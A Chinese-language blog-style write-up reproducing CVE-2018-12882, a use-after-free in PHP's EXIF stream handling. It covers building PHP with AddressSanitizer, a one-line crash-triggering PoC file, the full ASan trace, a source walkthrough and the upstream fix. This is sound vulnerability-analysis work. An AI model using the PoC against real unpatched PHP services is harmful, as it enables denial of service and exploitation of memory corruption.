CVE-2018-12882漏洞重现(PHP)

漏洞简介:

PHP: Sec Bug #76409 ++heap use after free++ in _php_stream_free

Package: EXIF related
PHP Version: 7.2Git-2018-06-02 (Git)
CVE-ID: 2018-12882

漏洞复现

目标

用Clang编译带AddressSanitizer的PHP二进制,根据POC复现漏洞。

实验环境

Linux ubuntu 4.15.0-33-generic #36~16.04.1-Ubuntu SMP Wed Aug 15 17:21:05 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

编译PHP

源码:php-src-php-7.2.7RC1
编译器:clang version 3.8.0-2ubuntu4
其他:llvm, AutoConfig

  1. 准备

    1
    2
    3
    wget https://github.com/php/php-src/archive/php-7.2.7RC1.zip
    sudo apt-get install llvm clang
    sudo apt-get install autoconf
  2. 解压源码

    1
    2
    unzip php-src-php-7.2.7RC1
    cd php-src-php-7.2.7RC1/
  3. configure & build

    1
    2
    3
    4
    5
    6
    ./buildconf
    ## 使用clang编译,开启AddressSanitizer
    CC=clang CXX=clang++ CFLAGS=" -fsanitize=address -g" CXXFLAGS=" -fsanitize=address -g"
    ## 配置选项--enable-exif必开,因为漏洞点就在这片代码中
    ./configure --enable-exif
    make

编译php源码错误集与解决

PoC及漏洞触发

  1. 生成PoC

    1
    echo "Lw==" | base64 -d > test.jpg
  2. 运行

    1
    USE_ZEND_ALLOC=0 sapi/cli/php  -r 'exif_read_data(file_get_contents("Path-to-PoC/test.jpg"));'

禁用Zend MM: Zend虚拟机使用了自己的程序来优化内存管理
export USE_ZEND_ALLOC=0

  1. 成功触发
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    Warning: exif_read_data(): Not a file in Command line code on line 1
    =================================================================
    ==18884==ERROR: AddressSanitizer: heap-use-after-free on address 0x611000009590 at pc 0x00000151be86 bp 0x7ffdb183ec60 sp 0x7ffdb183ec58
    READ of size 8 at 0x611000009590 thread T0
    #0 0x151be85 in _php_stream_free path-to-src/php-src-php-7.2.7RC1/main/streams/streams.c:373:13
    #1 0xbc73f3 in exif_read_from_file path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4411:2
    #2 0xbc0cae in zif_exif_read_data path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4482:9
    #3 0x1be0af1 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:573:2
    #4 0x193f183 in execute_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:59723:7
    #5 0x1940524 in zend_execute path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:63760:2
    #6 0x16be032 in zend_eval_stringl path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1082:4
    #7 0x16be6f0 in zend_eval_stringl_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1123:11
    #8 0x16be7f2 in zend_eval_string_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1134:9
    #9 0x1e50948 in do_cli path-to-src/php-src-php-7.2.7RC1/sapi/cli/php_cli.c:1042:8
    #10 0x1e4d7ed in main path-to-src/php-src-php-7.2.7RC1/sapi/cli/php_cli.c:1404:18
    #11 0x7f051f6e782f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291
    #12 0x439fc8 in _start (path-to-src/php-src-php-7.2.7RC1/sapi/cli/php+0x439fc8)

    0x611000009590 is located 144 bytes inside of 224-byte region [0x611000009500,0x6110000095e0)
    freed by thread T0 here:
    #0 0x4d9f70 in __interceptor_cfree.localalias.0 (path-to-src/php-src-php-7.2.7RC1/sapi/cli/php+0x4d9f70)
    #1 0x162081f in _efree path-to-src/php-src-php-7.2.7RC1/Zend/zend_alloc.c:2444:4
    #2 0x151d180 in _php_stream_free path-to-src/php-src-php-7.2.7RC1/main/streams/streams.c:511:3
    #3 0xbcb725 in exif_read_from_impl path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4327:5
    #4 0xbc6e62 in exif_read_from_stream path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4382:8
    #5 0xbc73dc in exif_read_from_file path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4409:8
    #6 0xbc0cae in zif_exif_read_data path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4482:9
    #7 0x1be0af1 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:573:2
    #8 0x193f183 in execute_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:59723:7
    #9 0x1940524 in zend_execute path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:63760:2
    #10 0x16be032 in zend_eval_stringl path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1082:4
    #11 0x16be6f0 in zend_eval_stringl_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1123:11
    #12 0x16be7f2 in zend_eval_string_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1134:9
    #13 0x1e50948 in do_cli path-to-src/php-src-php-7.2.7RC1/sapi/cli/php_cli.c:1042:8
    #14 0x1e4d7ed in main path-to-src/php-src-php-7.2.7RC1/sapi/cli/php_cli.c:1404:18
    #15 0x7f051f6e782f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291

    previously allocated by thread T0 here:
    #0 0x4da0f8 in __interceptor_malloc (path-to-src/php-src-php-7.2.7RC1/sapi/cli/php+0x4da0f8)
    #1 0x16214f4 in __zend_malloc path-to-src/php-src-php-7.2.7RC1/Zend/zend_alloc.c:2829:14
    #2 0x1615d9e in _emalloc_224 path-to-src/php-src-php-7.2.7RC1/Zend/zend_alloc.c:2352:1
    #3 0x151b3db in _php_stream_alloc path-to-src/php-src-php-7.2.7RC1/main/streams/streams.c:274:22
    #4 0x1539359 in _php_stream_fopen_from_fd_int path-to-src/php-src-php-7.2.7RC1/main/streams/plain_wrapper.c:186:9
    #5 0x15393c5 in _php_stream_fopen_from_fd path-to-src/php-src-php-7.2.7RC1/main/streams/plain_wrapper.c:248:23
    #6 0x153d85a in _php_stream_fopen path-to-src/php-src-php-7.2.7RC1/main/streams/plain_wrapper.c:1024:10
    #7 0x153edf3 in php_plain_files_stream_opener path-to-src/php-src-php-7.2.7RC1/main/streams/plain_wrapper.c:1080:9
    #8 0x152a0f2 in _php_stream_open_wrapper_ex path-to-src/php-src-php-7.2.7RC1/main/streams/streams.c:2027:13
    #9 0xbc7326 in exif_read_from_file path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4399:11
    #10 0xbc0cae in zif_exif_read_data path-to-src/php-src-php-7.2.7RC1/ext/exif/exif.c:4482:9
    #11 0x1be0af1 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:573:2
    #12 0x193f183 in execute_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:59723:7
    #13 0x1940524 in zend_execute path-to-src/php-src-php-7.2.7RC1/Zend/zend_vm_execute.h:63760:2
    #14 0x16be032 in zend_eval_stringl path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1082:4
    #15 0x16be6f0 in zend_eval_stringl_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1123:11
    #16 0x16be7f2 in zend_eval_string_ex path-to-src/php-src-php-7.2.7RC1/Zend/zend_execute_API.c:1134:9
    #17 0x1e50948 in do_cli path-to-src/php-src-php-7.2.7RC1/sapi/cli/php_cli.c:1042:8
    #18 0x1e4d7ed in main path-to-src/php-src-php-7.2.7RC1/sapi/cli/php_cli.c:1404:18
    #19 0x7f051f6e782f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291

    SUMMARY: AddressSanitizer: heap-use-after-free path-to-src/php-src-php-7.2.7RC1/main/streams/streams.c:373:13 in _php_stream_free
    Shadow bytes around the buggy address:
    0x0c227fff9260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    0x0c227fff9270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    0x0c227fff9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    0x0c227fff9290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    0x0c227fff92a0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
    =>0x0c227fff92b0: fd fd[fd]fd fd fd fd fd fd fd fd fd fa fa fa fa
    0x0c227fff92c0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
    0x0c227fff92d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
    0x0c227fff92e0: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
    0x0c227fff92f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    0x0c227fff9300: 00 00 00 00 00 00 00 00 00 00 00 00 fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
    Addressable: 00
    Partially addressable: 01 02 03 04 05 06 07
    Heap left redzone: fa
    Heap right redzone: fb
    Freed heap region: fd
    Stack left redzone: f1
    Stack mid redzone: f2
    Stack right redzone: f3
    Stack partial redzone: f4
    Stack after return: f5
    Stack use after scope: f8
    Global redzone: f9
    Global init order: f6
    Poisoned by user: f7
    Container overflow: fc
    Array cookie: ac
    Intra object redzone: bb
    ASan internal: fe
    Left alloca redzone: ca
    Right alloca redzone: cb
    ==18884==ABORTING

附:AddressSanitizer符号化

AddressSanitizer symbolize

To make AddressSanitizer symbolize its output you need to set the ASAN_SYMBOLIZER_PATH environment variable to point to the llvm-symbolizer binary (or make sure llvm-symbolizer is in your $PATH):

漏洞分析

exif_read_from_file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static int exif_read_from_file(image_info_type *ImageInfo, char *FileName, int read_thumbnail, int read_all)
{
int ret;
php_stream *stream;

stream = php_stream_open_wrapper(FileName, "rb", STREAM_MUST_SEEK | IGNORE_PATH, NULL);

if (!stream) {
memset(&ImageInfo, 0, sizeof(ImageInfo));

exif_error_docref(NULL EXIFERR_CC, ImageInfo, E_WARNING, "Unable to open file");

return FALSE;
}

ret = exif_read_from_stream(ImageInfo, stream, read_thumbnail, read_all);

php_stream_close(stream);

return ret;
}

line 18 正常释放一个stream(allocate in line 6),line 16 调用exif_read_from_stream,可能会有一个额外的close,导致line 18 发生double-free。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
static int exif_read_from_stream(image_info_type *ImageInfo, php_stream *stream, int read_thumbnail, int read_all)
{
int ret;
off_t old_pos = php_stream_tell(stream);

if (old_pos) {
php_stream_seek(stream, 0, SEEK_SET);
}

ret = exif_read_from_impl(ImageInfo, stream, read_thumbnail, read_all);

if (old_pos) {
php_stream_seek(stream, old_pos, SEEK_SET);
}

return ret;
}

line 10 -> exif_read_from_impl ,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
static int exif_read_from_impl(image_info_type *ImageInfo, php_stream *stream, int read_thumbnail, int read_all)
{
int ret;
zend_stat_t st;

/* Start with an empty image information structure. */
memset(ImageInfo, 0, sizeof(*ImageInfo));

ImageInfo->motorola_intel = -1; /* flag as unknown */
ImageInfo->infile = stream;
ImageInfo->FileName = NULL;

if (php_stream_is(ImageInfo->infile, PHP_STREAM_IS_STDIO)) {
if (VCWD_STAT(stream->orig_path, &st) >= 0) {
zend_string *base;
if ((st.st_mode & S_IFMT) != S_IFREG) {
exif_error_docref(NULL EXIFERR_CC, ImageInfo, E_WARNING, "Not a file");
php_stream_close(ImageInfo->infile);
return FALSE;
}

/* Store file name */
base = php_basename(stream->orig_path, strlen(stream->orig_path), NULL, 0);
ImageInfo->FileName = estrndup(ZSTR_VAL(base), ZSTR_LEN(base));

zend_string_release(base);

/* Store file date/time. */
ImageInfo->FileDateTime = st.st_mtime;
ImageInfo->FileSize = st.st_size;
/*exif_error_docref(NULL EXIFERR_CC, ImageInfo, E_NOTICE, "Opened stream is file: %d", ImageInfo->FileSize);*/
}
} else {
if (!ImageInfo->FileSize) {
php_stream_seek(ImageInfo->infile, 0, SEEK_END);
ImageInfo->FileSize = php_stream_tell(ImageInfo->infile);
php_stream_seek(ImageInfo->infile, 0, SEEK_SET);
}
}

line 18,free了stream的别名指针ImageInfo->infile,这是一个多余的free。

patch 分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ext/exif/exif.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/ext/exif/exif.c b/ext/exif/exif.c
index 6562e04ba8..3bf8b150d4 100644
--- a/ext/exif/exif.c
+++ b/ext/exif/exif.c
@@ -4300,7 +4300,7 @@ static int exif_read_from_impl(image_info_type *ImageInfo, php_stream *stream, i
zend_string *base;
if ((st.st_mode & S_IFMT) != S_IFREG) {
exif_error_docref(NULL EXIFERR_CC, ImageInfo, E_WARNING, "Not a file");
- php_stream_close(ImageInfo->infile);
+ ImageInfo->infile = NULL;
return FALSE;
}

去除这个多余的close,并把别名指针置NULL。